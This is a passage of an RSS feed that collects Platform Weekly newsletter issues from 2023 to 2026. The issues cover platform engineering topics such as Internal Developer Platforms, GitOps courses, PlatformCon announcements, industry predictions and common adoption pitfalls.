adoption, internal selling, and best practices, and how to actually build the perfect Internal Developer Platform.\nAnd not just that - we\u2019ll also be going into the deep technical details of platform engineering (the art of building golden paths, abstraction layers, frontend, and backend designs, everything as code, building Minimum Viable Platforms, and more).\nIf you want to become a platform engineer, or are one already but want to be a master - or just show off to your boss then\u2026\nCome join me next week in the first platform engineering fundamentals course!\nQuick bites\n\u200dArticle of the week:\n\n\nWhy your Internal Developer Platform needs a backend\nFrom the community:\n\n\n4000 microservices, 8 million customers, 1 Internal Developer Platform - I am so excited for this webinar!]]>\n  \n  Fri, 16 Aug 2024 00:00:00 GMT\n\n\n  K8s, but make it green\n  https://platformweekly.com/issues/k8s-but-make-it-green\n  https://platformweekly.com/issues/k8s-but-make-it-green\n  \n  \nHey there,\nThe weekend is near\u2026\nLet\u2019s get bakin\u2019\nK8s, but make it green: Platform Engineering takes Milano\nLeonardo Romanato, Global Head of DevOps and Platform Services at YOOX NET-A-PORTER\nOn March 28th we had our first in-person Platform Engineering Meetup in Italy. \ud83c\uddee\ud83c\uddf9 ~30 platform engineering enthusiasts gathered together in Mia-Platform\u2019s Milano offices to dive into kube-green, GitOps setups, and how to build an Internal Developer Platform (IDP).\nHere are my highlights:\n\ud83e\udd50 Mia-Platform\u2019s Davide Bianchi presented his work on kube-green, an open-source K8s controller. It aims to reduce the carbon footprint of cloud-native applications.\nThe talk raised the community\u2019s awareness of how our choice of infrastructure management can help (or hurt) our environment, reduce CO2 emissions, and minimize the eco-footprint of K8s infrastructure.\nMy favorite part of the talk was the deep-dive on how choosing green energy over traditional energy, or simply shutting down some pods for the weekends, can cut costs and save energy. \ud83c\udf43\n\ud83e\udd50 Red Hat\u2019s Raffaele Spazzoli and Natale Vinto shared their best practices for building an IDP. They organized their design tips around four key pillars:\n\n\nOnboarding. This includes all the tasks a developer must do to get their team and application on the platform. First impressions matter, so make it count!\n\nCode time. A quick workstation setup and a fast and reliable inner loop improve both developer experience (DevEx) and productivity.\n\nBuild time. A comprehensive and reliable CI/CD process is one of the most important components of team productivity and application reliability.\n\nRun time. Teams need self-serviceable and observable infrastructure in order to be fully autonomous.\nThe Red Hat team also shared this handy GitOps bag of tricks:\nThe first in-person Italian Meetup was a great success! It demonstrates just how much platform engineering is taking off all around the world. \ud83d\ude80\nWant to get involved in the Platform Engineering community or host an in-person Meetup in your city? Shoot an email to giulia@platformengineering.org to get started. \ud83d\udce7\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 What\u2019s the difference between DevOps, SRE, and Platform Engineering? I dove in with Software Daily\u2019s Sean Falconer \ud83d\udc47\n\ud83e\udd50 Tabloid is a \u201cturing-complete programming language for writing programs in the style of clickbait news headlines.\u201d Useless but amusing. \ud83e\udd23\n\ud83e\udd50 Conducting user research for your platform? You\u2019ll want to take good notes. Check out these quick tips to boost your notetaking game.\n\ud83e\udd50 OpenAI scaled their K8s clusters to 7,500 nodes and shared what they learnedfrom the process with the community.\nLast but not least, have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are the highlights: \n\n\nWhy are Kubernetes upgrades so challenging?\n\nHow do I host backstage.io for a small team?\n\nWhat are the main KPIs you track for IDPs and tools?\n\nHow do you give developers access to deployed services in K8s?\nPOLL: Do you think AI tools like k8sgpt will become the future of software engineering?\nYes\nNo\nUnsure\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Wed, 12 Apr 2023 00:00:00 GMT\n\n\n  Platform engineering predictions for 2025\n  https://platformweekly.com/issues/platform-engineering-predictions-for-2025\n  https://platformweekly.com/issues/platform-engineering-predictions-for-2025\n  \n  \nHey there! Welcome to Platform Weekly. It\u2019s our final sip of platform engineering juice for the year. Thanks so much for joining us!\nThis year was insane for PW, we grew by more than 6x and it seems like there is almost no sign of stopping. It seems like 2025 will be no different. We\u2019ll be there. Every week covering news, best practices, learnings, and lessons from the world\u2019s largest platform engineering community.\nWhat\u2019s hot this week:\n\n\nReflections on 2024\n\nDon\u2019t miss the last few early bird PlatformCon LDN tickets!\n\nSpeak at PlatformCon?\npredictions for 2025\nIt\u2019s been fascinating to see the platform engineering space mature in 2024. From PlatformCon exploding in size to the first-ever platform engineering certification launch. It\u2019s been an awesome year.\nI am extremely fortunate to get the chance to see and work on dozens of platform engineering initiatives and talk to 100s and 100s of people. I also get to see the incredible amount of data that flows through the community.\nTaking all of that. These are three trends that I predict will have very interesting developments going into 2025.\n\n\nBackstage backlash: more and more enterprises are realizing that Backstage is NOT your platform (and is far from the easy platform win they think it is). It can be a nice UI-based interface to access your platform or visualize things. But you need some sort of platform API to orchestrate your infrastructure and workflows underneath them, and you can\u2019t underestimate the work it takes to set it up and use it properly.\n\nDevelopers will lose access to infrastructure: the industry is waking up to the fact that unrestricted access to cloud consoles or the ability to create infrastructure resources with one click via portals has led to inconsistencies and governance challenges. This often leads to a \"tragedy of the commons\" scenario where individual actions, though well-intentioned, negatively impact organizational efficiency. The top organizations have already made big changes in this area, and most others will follow.\n\nSuccessful platform engineering will go Pareto: We\u2019ve seen how good platforms that get adoption all tend to follow the 80/20 Pareto principle. They make sure they cover 80% of use cases and needs of developers. Importantly, they either have a net positive impact on the individual stakeholder groups (developers, I&O teams, security teams, architects, execs, etc.) or they are a net neutral. This is crucial to get broad buy-in for your platform engineering initiative from all groups. While the platform may not drastically enhance every individual stakeholder\u2019s experience, it should not detract from it. Successful platform teams will follow this principle.\nThere are a thousand other small things. Whether we\u2019re totally right, or wrong, and what surprises might come\u2026 well, we\u2019ll just have to stay tuned and find out together.\nSee you in 2025!]]>\n  \n  Sat, 25 Jan 2025 00:00:00 GMT\n\n\n  ChatGPT for platform engineering? \n  https://platformweekly.com/issues/chatgpt-for-platform-engineering\n  https://platformweekly.com/issues/chatgpt-for-platform-engineering\n  \n  \nHey there!\nCan AI be the bacon \ud83e\udd53 to your platform BLT \ud83e\udd6a?\nLet\u2019s get bakin\u2019\nChatGPT for platform engineering? \nChatGPT and other AI tools will be a game changer for debugging and troubleshooting infrastructure. The days of slogging through logs, Googling error messages, or perusing manuals for fixes will soon be behind us. ChatGPT will be able to do all of it for us. \nTake k8sgpt, for example. It advertises itself as a tool that diagnoses and triages your K8s clusters in simple English. While I doubt this tool will be able to replace real, human SRE expertise, it can still help teams save time and focus their efforts on more complex problems. \nI can already see a future where AI can fix problems in real time, reducing the need for engineers to be on-call. And who would complain about that? Or, perhaps engineers can talk to their platforms like a sci-fi captain talks to his mothership: \u201cRun me diagnostics.\u201d And then it\u2019s done. \nLet me be very clear: AI is not human, and it won\u2019t be anywhere near sentient for a long time. In the meantime, we can leverage machines to lift repetitive work and toil off our shoulders. ChatGPT isn\u2019t creative, it's just formulated solutions based on existing information it can find. It\u2019s impressive (and incredibly useful), but it isn\u2019t human. \nRegardless, the future of platform engineering is bright with AI. Imagine using human language to get AI to do the following:\n\n\nTemplates based on your requirements. No more looking for YAML online.\n\nTemplates based on another service.\n\nDiagnostics and statistics: \n\n\u201cHow many requests did we get from Canada in our Load Balancer?\u201d \n\n\u201cWhere is this DDoS attack likely coming from?\u201d\n\n\u201cGive me a full post-mortem of the issue that happened yesterday.\u201d\n\nPlatform Engineers configuring resources:\n\n\u201cGive me the configuration for a resource definition for an AWS bucket.\u201d Or \u201cCreate it for me\u201d\n\nRecommendations to upsize or downsize infrastructure based on traffic.\n\nCost recommendations for your cloud providers based on your usage.\nI\u2019m really excited about the potential for AI to boost platform engineering. But what are your thoughts? Let me know on Twitter @luca_cloud. \nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Does GPT-4 really understand what we\u2019re saying? \ud83e\udd14 According to David Krakauer, the answer is yes and no.\n\ud83e\udd50 Speaking of GPT-4, has anyone used it to review and refactor your code?\n\ud83e\udd50 Enabling true developer self-service requires more than just shifting left. \n\ud83e\udd50 \u201cYou build it, you run it\u201d doesn\u2019t scale. \u274c Thanks to the folks at PurePerformance for having me on the latest episode of the podcast.\n\ud83e\udd50 Another take on the DevOps vs. SRE vs. platform engineering debate \ud83d\udc47\nLast but not least, have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are the highlights: \n\n\nHas anyone ever built a developer user journey?\n\nCI/CD data should enter the software catalog. How does this apply to edge computing?\n\nSearching for a self-hosted or open source IaC/code-scanning platform\nLego is hiring a Sr. Engineer - API Gateway Platform. Check out more opportunities in our #jobs channel!Do you want to be a Trailblazer for PlatformCon? Read more here.\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Mon, 03 Apr 2023 00:00:00 GMT\n\n\n  Why product thinking beats technical excellence\n  https://platformweekly.com/issues/why-product-thinking-beats-technical-excellence\n  https://platformweekly.com/issues/why-product-thinking-beats-technical-excellence\n  \n  \nPlatform engineering has never been hotter, or more fragile. PlatformCon was ablaze with that simultaneous \u201cthis will change everything\u201d to \u201cMy org is totally failing at this\u201d.\nI hear every week from teams who\u2019ve poured months (and millions) into beautiful Internal Developer Platforms (IDPs) full of automation, telemetry, and security tooling\u2026 only for developers to not use.\nThere is no more devastating and important problem in platform engineering than adoption. Ron Powell at CircleCI breaks it down perfectly in his community blog this week. \n\u201cYou can architect the most elegant platform in the world, but if developers don't use it consistently, you've built an expensive monument to engineering excellence that delivers zero business value.\u201d\n9/10 times, I\u2019m giving someone advice, whether on our courses or at an event. The advice is the same as Ron has so perfectly broken down in his article.\n\n\nThink like a product manager, not just an engineer\n\nOptimize for adoption, not just automation\n\nMeasure developer experience, not just system performance\nIt\u2019s easier said than done, but there are so many resources to getting you on that path. And if you want to succeed at platform engineering. There isn\u2019t time to wait.]]>\n  \n  Thu, 21 Aug 2025 00:00:00 GMT\n\n\n   The world\u2019s largest platform engineering conference needs you.\n  https://platformweekly.com/issues/the-worlds-largest-platform-engineering-conference-needs-you\n  https://platformweekly.com/issues/the-worlds-largest-platform-engineering-conference-needs-you\n  \n  \nThe PlatformCon 2026 Call for Proposals is officially open. We want to hear your voice.\nEvery month, almost 50,000 people watch recordings of PlatformCon content. Talks from 2022 receiving dozens of comments of discussion and debate every week.\nSome of the talks are\u2026 outdated. Some are incredibly prescient. But that\u2019s the nature of a conference at the frontier of a frontier industry. Every prediction can\u2019t be right when we are shaping our reality as we go.\nWe want you to be a part of that. 78% of views on talks from 2025 came from someone who submitted after clicking the link in Platform Weekly. Many of those people, when I talked to them after said, \u201cI had zero expectations you\u2019d accept my talk.\u201d But you reading this are exactly who we want to hear from! \nReal stories, real successes and real failures equals real learning. As platform engineering absorbs domains across all of IT. We need to learn from you FinOps experts, data experts, frontend platform experts, security, AI, observability and more.\nThe community needs you. So come and speak to us!]]>\n  \n  Mon, 26 Jan 2026 00:00:00 GMT\n\n\n  All aboard the platform engineering hype train \ud83d\ude86\n  https://platformweekly.com/issues/all-aboard-the-platform-engineering-hype-train\n  https://platformweekly.com/issues/all-aboard-the-platform-engineering-hype-train\n  \n  \nHello!\nAre you hyped for platform engineering? Gartner is \ud83d\udc47\nLet\u2019s get bakin\u2019 \ud83e\udd50\nAll aboard the platform engineering hype train\nIn Summer 2022, platform engineering made its debut on the Gartner Hype Cycles for Emerging Technologies and for Software Engineering\u2026 which means it\u2019s finally getting the spotlight it deserves.\n(If you\u2019ve subscribed to this newsletter, you\u2019re already ahead of the curve. How does it feel to have been part of the community before it was cool? \ud83d\ude0b)\nThe context is important, though. Platform engineering was introduced as a solution to improve the developer experience. Gartner outlined some of the key principles in A Software Engineering Leader\u2019s Guide to Improving Developer Experience:\n1. \u201cImprove developer experience by building internal developer platforms to reduce cognitive load, developer toil and repetitive manual work.\u201d\nReducing cognitive load was a major theme at PlatformCon. In the last years, badly done DevOps has overwhelmed the working memory capacity of developers across too many organizations. Fortunately, top performing organizations discovered that internal platforms can push their setup into the next stage of their DevOps evolution.\n2. \u201cPlatforms don\u2019t enforce a specific toolset or approach \u2013 it is about making it easy for developers to build and deliver software while not abstracting away useful and differentiated capabilities of the underlying core services.\u201d\nY\u2019all have to find the right level of abstraction and pave a golden path to facilitate it. I dive deeper into how to do this in this thread:\nTLDR; your platform should have a built in path of least resistance. You can do that in a code-based, declarative way or with UIs on top of your setup.\n3. \u201cPlatform engineering teams treat platforms as a product (used by developers) and design the platform to be consumed in a self-service manner.\u201d\nPlatform as a product is the way. Conduct user research, solicit regular user feedback, create a product map, and get internal buy-in for your platform, and you\u2019re basically guaranteed to succeed.\nAlternatively, you can become a mind reader and understand how to build a platform everyone wants. \u2026 See how that works for you and report back.\nI love seeing platform engineering getting the hype it deserves and for a lot of the principles we discussed at PlatformCon to make it into a report as big as Gartner\u2019s. And there\u2019s still so much more to come for the community, so stay tuned!\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Have you heard of Platform KPI trees before? Lambros Charissis explains what it is and why Platform Engineering KPIs matter.\n\ud83e\udd50 Has this \ud83d\udc47 ever crossed your mind? Insightful thread \ud83e\uddf5 by Alex Xu on Twitter!\n\ud83e\udd50 Choose your fighter: DevOps or SRE. Justin Garrison discussed this with Liz Fong-Jones and Emily Freeman on Twitter. You can also read the recap in Justin's blog.\n\ud83e\udd50 Some you have already compared your DevOps setup to the industry with our survey. But if you missed it, check out how you stack up against the competition.\n\ud83e\udd50 They say the last bite is the tastiest \ud83d\ude09\nThat wraps up #6. Got some useful nuggets from it? Then share it with your folks and spread the platform love \ud83c\udf89\nThis is a community-driven newsletter, so if you have anything \ud83d\udd25 to share from the cloud-native world, send it our way. You can submit your ideas here.\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  10 Platform engineering predictions for 2026\n  https://platformweekly.com/issues/10-platform-engineering-predictions-for-2026\n  https://platformweekly.com/issues/10-platform-engineering-predictions-for-2026\n  \n  \nIt\u2019s our last platform weekly of the year. In the last 52 weeks, over 100,000 of you have joined me every week to dissect our platform engineering world. I\u2019ve had the chance to read 1000+ emails from you, conversations with many, and debates with a few.\nAt the same time, we\u2019ve surveyed 518 for our State of Platform Engineering survey, 500+ more for the State of AI in Platform Engineering, and spoken to dozens of more about what they\u2019re working on for 2026, and what they\u2019re expecting.\nBased on all that - and the work I am doing myself. These are our predictions for 2026.\n\n\nAgentic infrastructure becomes standard architecture: AI agents will move from experiments to first-class platform users. Mature platforms will manage them like any other persona with RBAC, quotas, and governance. AI will autonomously run subsystems deploying, allocating resources, and evolving architecture from observed patterns. While the Platform teams will define \u201cagent golden paths\u201d that help agents learn and propose optimizations we can\u2019t even think of ourselves.\n\nPlatforms become the safety net for AI-generated code: The \u201cvibe coding\u201d era will make platforms responsible for reviewing and auto-remediating AI-generated code, particularly infrastructure code (Terraform, Kubernetes manifests), because non-deterministic outputs can introduce subtle production failures or security gaps that make the speed of vibe coding basically useless.\n\nSelf-healing evolves into self-architecture: The most advanced platforms will go far beyond auto-scaling to self-healing, AI-driven self-architecture, dynamically re-architecting systems to meet cost and latency targets without human intervention. We (humans) will start to shift from architects to strategists, defining objectives and constraints while AI proactively handles implementation.\n\nDevOps and MLOps converge into unified pipelines: Today, ML delivery is super fragmented with manual model handoffs, inference endpoints outside governance, and data science teams operating completely separately from platform engineering. By the end of 2026, mature platforms will unify app and model delivery into a single pipeline that serves devs, ML engineers, and data scientists (Likely through one shared experience).\n\nFinOps becomes a hard requirement: FinOps will shift from silos, and reactive dashboards to dedicated (preventive) platform controls, with things like pre-deployment cost gates that block services exceeding thresholds before they hit production, and AI-specific budgets for token and inference spend. \n\nThe platform gap becomes existential: Orgs that neglect platform capabilities will accumulate \u201corg debt\u201d far faster than they can repay it, combining tech & operational failures that hold them massively back. The result is imploding DevEx, slower delivery, top talent will flee, security gaps, and total failure with AI, making platform engineering investment essential to success.\n\nPlatform teams pivot to business value engineering: Teams will finally move beyond \u201cjust\u201d DORA, and measure and communicate ROI in business terms: revenue enabled, costs avoided, and profit center contribution. The best teams will  instrument revenue attribution, cost avoidance, and dev productivity in business terms.\n\nCompliance shifts to governance-by-default: No more shifting load onto devs and pretending its progress. Compliance will be enforced at the infrastructure layer, making non-compliant deployments technically impossible. Policy-as-Code, standardized service templates, and automatic security-control injection will become baseline requirements, espeeeeecially in regulated industries.\n\nRole specialization will accelerate: The \u201cplatform engineer\u201d role will splinter into clear specializations spanning platform leadership, product management, infrastructure, DevEx, security, observability, and AI-focused roles. Clearly reflecting platform engineering\u2019s expanding scope (and why it will increasingly shape how organizations build and run software in total).\n\nCertification and professionalization emerge: Industry-standard certifications and formal training programs will continue to emerge to define baseline competencies for platform builders, accelerating the professionalization of the field. Structured curricula like our certifications will validate expertise, raise team quality, and replace ad-hoc learning with recognized, standardized platform skills and best practice.\nMy biggest prediction of all\u2026 things we can\u2019t even begin to predict will happen and dominate everything. I can\u2019t wait to see it.\nWhat are your predictions? Any disagreements with mine? let me know!]]>\n  \n  Tue, 06 Jan 2026 00:00:00 GMT\n\n\n  The biggest week in platform engineering\n  https://platformweekly.com/issues/the-biggest-week-in-platform-engineering\n  https://platformweekly.com/issues/the-biggest-week-in-platform-engineering\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly thrust of the platform engineering sword. Every week, we dive into another area of the platform engineering universe, from news and community updates to best practices and lessons. But first,\n\n\nOver 800 students have taken our Intro to Platform Engineering course\n\nIdentifying vulnerabilities in public Kubernetes Helm charts\n\nPlatform engineering: A golden era for service providers\nThe biggest week in platform engineering\nWe\u2019re now less than 4 weeks away from PlatformCon 2025, the world\u2019s largest platform engineering event.\nIn terms of pure numbers, it\u2019s bigger than ever.\nWe\u2019re on track for 40,000 virtual attendees, 1000+ in-person, and more partners and speakers than ever. But the most important thing (as always) is the content.\nPlatformCon 2025 will have:\n\n\n75 hours of virtual talks from speakers like Gregor Hohpe, Patrick Debois, Nicki Watt, and hundreds of other platform engineering experts from leaders to practitioners\n\n80 hours of hands-on workshops covering everything from building your IDP with k0rdent and Backstage, to Hackathon starter packs & Terraform orchestration.\n\nSpeakers like Kelsey Hightower and Camille Fournier live in NYC, and Gregor Hohpe, and Nicki Watt in London. Plus a dozen other super inspiring platform engineering thinkers and leaders from across the industry.\nNot to mention the many amazing panels that have yet to be announced, and the first-ever PlatformCon x House of Kube official closing party.\nIf that wasn\u2019t enough I\u2019ll be at both events doing my two favourite things of all - talking to other platform nerds and teaching platform engineering! \nI\u2019m super excited to lead two in-person platform engineering trainings focused on Platform as a Product, and building and selling your Minimum Viable Platform.\nI better see you there!]]>\n  \n  Thu, 14 Aug 2025 00:00:00 GMT\n\n\n  Designing Your Internal Developer Platform\n  https://platformweekly.com/issues/designing-your-internal-developer-platform\n  https://platformweekly.com/issues/designing-your-internal-developer-platform\n  \n  \nHey there!\nThis week, Humanitec\u2019s Fernando Villalba shares 6 steps to designing your Internal Developer Platform. \ud83c\udfa8\ud83d\udd8c\ufe0f\nLet\u2019s get bakin\u2019\nDesigning your Internal Developer Platform\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 The folks at DevOps.com shared some strategies to consider when adopting platform engineering.\n\ud83e\udd50 What is the first step to successfully building your platform? According to Nvidia\u2019s Lee Ditiangkin, you have to start by building it together.\n\ud83e\udd50 Want to level up your DevOps setup? \ud83c\udf44 Check out the results of the 2023 DevOps Benchmarking Study to get key insights and best practices.\n\ud83e\udd50 If you haven\u2019t attended a platform engineering webinar yet, you\u2019re missing out! On March 28th we\u2019re chatting with Accenture\u2019s Mahesh Venkataraman and Rohit Patwardhan about how to integrate the three dimensions of quality into your platform engineering effort. Join us!\n\ud83e\udd50 \nLast but not least, have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are the highlights: \n\n\nTreat your platform as a product\u2014developer support\n\nHow to build out a job spec and learning path for a platform engineer\n\nTerraform drivers as a backend to enable infra self-service?\nAlso:\n\n\n\ud83c\uddee\ud83c\uddf3 and \ud83c\uddee\ud83c\uddf9 community members organized local meetups in Bangalore and Milan. Don\u2019t have a group in your area and want to host? Shoot me an email, and we\u2019ll help get you set up.\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Wed, 22 Mar 2023 00:00:00 GMT\n\n\n  GitOps is the glue for your Platform!\n  https://platformweekly.com/issues/gitops-is-the-glue-for-your-platform\n  https://platformweekly.com/issues/gitops-is-the-glue-for-your-platform\n  \n  \nGitOps has quietly become the backbone of modern platform engineering.According to the State of Platform Engineering (Vol. 4), 56.5% of platform teams now rank GitOps as a top-four capability, right next to CI/CD, Infrastructure as Code, and Kubernetes itself.\nAnd yet\u2026 most training still treats GitOps like a developer convenience tool.\nThis course doesn\u2019t.\nThis is GitOps as the orchestration layer platform teams actually build and operate.\nGitOps at scale (aka: your clusters are not pets)\nIf you\u2019re planning to go big, really big, and not just manage a handful of clusters you still remember by name, then you need to understand GitOps at scale.\nLess shepherd with a stick.\n\u200d\nMore fleet commander with god mode enabled.\nYou\u2019ll learn how large enterprises design cluster topologies to manage thousands of locations across different regions, data centers, and clouds, without turning operations into chaos.\nLess watching. More doing.\nThe best part?You don\u2019t just watch slides.\nYou fork the repo and work with an enterprise-ready setup, based on the general distro of kubara.io, a framework from platform engineers, for platform engineers, going open source very soon (March).\nNo wheel reinvention.Just adapt it, run it, and move on with life.\nScaling is hard. Tool soup is harder.\nScaling has limits. Choosing the wrong topology means you\u2019ll end up with a random pile of tools and hope it works.\nAnd sure, it might work.A lot of my hobby projects still work too.\nBut hobby projects don\u2019t get security audits.Your platform will.\nPlatforms are not just tools.They are people, culture, and adoption.\nGitOps adoption takes time.\nIt hurts.\nYour developers might cry at first.\nBut later, they\u2019ll cry tears of joy when they realize their best disaster recovery plan is a GitOps setup that keeps everything reconciled, while you\u2019re in the Bahamas, drinking a Cuba Libre and swimming with pigs.\n(This is Peter. Not me.)\nReal talk: does this actually work?\nYes. Last project.\nWe managed:\n\n\n30 clusters\n\n300 VMs\n\n20+ projects\n\nhybrid setups across multiple data centers and public clouds\nWith 2.5 engineers.\nOnboarding a new project?Under 30 minutes.Compliant. Budgeted. Integrated.\nSo yeah\u2026 I do know what a Cuba Libre tastes like. Maybe.\nWhat\u2019s in the course?\nModule highlights:\n\n\nFoundations & principlesGitOps as a contract between humans and agents, not just \u201cCI/CD with Git\u201d\n\nArchitecture & patternsMulti-cluster topologies, progressive delivery, and avoiding classic anti-patterns\n\nTooling deep diveHands-on with Argo CD, Flux CD, and Sveltos, including a platform catalog for self-service\n\nEnterprise scalingManaging 1,000+ clusters, trying to scale to 15,000 clusters, policy-as-code, and solving config sprawl\n\nAI integrationGitOps for AI platforms and AI workloads\n\nCultural adoptionStakeholder buy-in, shared language, and iteration based on feedback\nPlus an exclusive interview with Alexis Richardson, founder of RabbitMQ, CEO at ConfigHub, and the person who coined the term GitOps in 2017.No vendor fluff. Just history and real-world perspective.\nThe best part?\nThe course is FREE.\nWell\u2026 not exactly free.You invest time. That\u2019s it.\nWho am I?\nArtem Lajko.Course instructor.Head of Platform Engineering at iits.Author of Implementing GitOps with Kubernetes.A few years of building GitOps platforms across different industries.\nIf you\u2019re curious about GitOps at scale,want to chat, learn how a Cuba Libre tastes,get a free signed book,or maybe even win a Steam Deck. Come say hi at KubeCon EU in Amsterdam! 24\u201326 March | Booth #495 (iits)]]>\n  \n  Wed, 25 Feb 2026 00:00:00 GMT\n\n\n  Is this the end?\n  https://platformweekly.com/issues/is-this-the-end\n  https://platformweekly.com/issues/is-this-the-end\n  \n  \nHey there! Welcome to Platform Weekly. This week we\u2019re closing off the world\u2019s largest platform engineering conference, PlatformCon 2024.\nIs this the end?\nThis week has been insane. We kicked off PlatformCon announcing the first-ever official platform engineering course and the response has been crazy so far.\nWe then dived into a vortex of platform engineering awesomeness with huge highlights like workshop, Live Day in London and watch parties all over the world... and we are now going LIVE for a full day of platform engineering panels, with some of the biggest names in the industry.\nIt will be a full day of in-depth conversations with leading platform engineering experts (Nicki Watt from OpenCredo, Ajay Chankramath from Thoughtworks, James Brookbank from Google, just to name a few!).\nIf you\u2019ve been one of the tens of thousands of people who have joined PlatformCon. I just want to say a huge thank you.\nLet\u2019s close this one off with one last insane platform engineering hurrah!\nLet\u2019s get platform engineering\ud83d\ude80\nQuick bites\nArticles of the week:\n\n\nPlatformCon: How Spotify Manages Infrastructure with GitOps\nFrom the community:\n\n\nThe Platform Engineering Slack is getting crazy with PlatformCon fever. Come join!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  Platform pitfalls you should avoid\n  https://platformweekly.com/issues/platform-pitfalls-you-should-avoid\n  https://platformweekly.com/issues/platform-pitfalls-you-should-avoid\n  \n  \nHey there! This is Platform Weekly, the gnarliest wave in the platform engineering ocean. \ud83c\udfc4\ud83e\udd1f\nThis week\u2019s issue is one you won\u2019t want to miss. Bryan Finster of DevOps Dojo fame is weighing in on the top platform pitfalls you should avoid. Check it out and share the platform \u2665\ufe0f with your friends! \nLet\u2019s get bakin\u2019\nAvoiding common platform pitfalls\nBryan Finster, Value Stream Architect at Defense Unicorns\nPlatform engineering has become a hot topic in the industry recently. However, it\u2019s not a new practice. Doing it correctly seems to be the main sticking point. The problems that occur are common and generally come down to one problem, lack of user-centric focus. Comparing notes with many other organizations, these are some of the most common pitfalls I\u2019ve seen. \nPlatform as a Mandate\nA central tools team is formed to decide what tools the developers will use. The tools are bought or built, and management mandates that everyone uses them. Little or no thought is given to discovering the problems that development teams face daily, and the tools team\u2019s primary focus is on operations, not customer service. The result is hostile customers and a platform that either improves nothing or degrades productivity. It doesn\u2019t even matter if the new tools are better. The lack of empathy and engagement with the people doing the work means that even better tools will be used to re-implement bad patterns. The workflow of the development teams has been disrupted, an adversarial relationship has been created, and delivery suffers. \nIf we need to use a mandate to increase adoption, we\u2019ve done a poor job of solving the right problems and/or helping our customers understand how the new tools can be used to make their lives easier.  \nPlatform as a Service Ticket\nWe\u2019ve created a platform, but to use it requires teams to open a ticket, wait in a queue, and have someone outside the team do the work of configuring it. Growing the number of people using the platform will require growing the number of people supporting it. The worst outcome for the platform is that more people use it, and the platform effort is crushed by operational overhead. Worse, the onboarding process can impact application architecture. \u201cWe want to use an event-based microservice architecture to enable auto-scaling for peak capacity, but it takes two weeks to create a pipeline\u2026\u201d\nIt\u2019s not a useful platform if it\u2019s not self-service. That should be a baseline requirement to improve both user experience and keep operational costs down. \n\u201cWe built this great thing. Why won\u2019t people use it?\u201d \nWhat incentive do they have to change? Is it solving their problems better than what they have? Is it solving a real problem at all? Does it make it easier for them to meet security and compliance requirements? How heavy is the lift for them to adopt your new solution? What support are you providing to help them? Did we only build it because it would be \u201ccool?\u201d We should start with the adoption plan before we start implementation. Who can we partner with to help first? What are our plans for identifying and prioritizing the problems we are solving? What incentives can we introduce to encourage adoption? How about marketing, training, workshops, etc? We need to be user-centric and not assume we know what\u2019s needed. We should focus on the problems that impose delivery drag, not solutions that are splashy but don\u2019t relieve daily pain. \nFocus on the Customer\nAvoiding these and other pitfalls is easy, we should treat internal users the way we would want to be treated, with empathy and respect. We talk to them, understand their problems, and help make it easier to do their work. Platforms should be built with the same empathy and mindset we would use for building great products for external customers. It\u2019s even easier to deliver great experiences to internal users because user feedback and collaboration are so much easier. All that\u2019s required is to establish that collaborative relationship and leverage their feedback. I had a conversation about platform development with someone from Exxon several years ago. He said, \u201cIt seems the top developers tend to end up in our platform area because they can be closer to their customers.\u201d I know that\u2019s true for me. If that doesn\u2019t resonate with you, there may be a problem.\n\u200d\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 ICYMI: Kubiya launched the first generative AI for platform engineering at KubeCon 2023.\n\ud83e\udd50 Does platform engineering make software sustainable? \ud83c\udf43\n\ud83e\udd50 DevOps ain\u2019t dead\u2026 but we\u2019ve gotta talk.\n\ud83e\udd50 Here\u2019s why Python will eventually die.\nLast but not least, have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are some highlights:\n\n\nMetrics are always a relevant topic. This time, Roni is asking: How should I be thinking about what metrics to look for when it comes to test automation for improving DevEx?\n\nWant to benchmark toolsets and technologies?\n\nFlux vs ArgoCD: What GitOps platform do you use?\n\nHow\u2019s the platform engineering job market faring? Some folks in the community are trying to find out.\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Thu, 11 May 2023 00:00:00 GMT\n\n\n  How should platform teams respond to crisis? \u26a0\ufe0f\n  https://platformweekly.com/issues/how-should-platform-teams-respond-to-crisis\n  https://platformweekly.com/issues/how-should-platform-teams-respond-to-crisis\n  \n  \nIn my work, I have the opportunity to connect with clients all around the world. This has given me some telling insights about how companies are planning to react to the upcoming economic crisis. Here are some of my thoughts.\nLet\u2019s get bakin\u2019 \ud83e\udd50\nHow should platform teams respond to crisis? \u26a0\ufe0f\nAn economic crisis is looming ahead. But not all regions of the world have been hit the same way. (Some haven\u2019t been hit yet at all.)\nWhile I saw European engineering managers afraid of lay-offs in January, American teams are just starting to be more careful.\nThe more interesting question, to me at least, is how the situation for platform teams will change if faced with crisis. How will C-Level reacting to the dark clouds? Will they reduce budgets? Cut jobs? Where are they investing, if at all?\nI've observed two key strategic approaches: blind fear and cautionary responsibility. The former can irreversibly destroy the culture and productivity of an engineering team forever. The latter can actually improve both substantially. Winning teams are formed in times of crisis.\nExplaining the blind fear approach is intuitive: at the sign of crisis, managers just start freezing everything and, in the worst cases, start firing 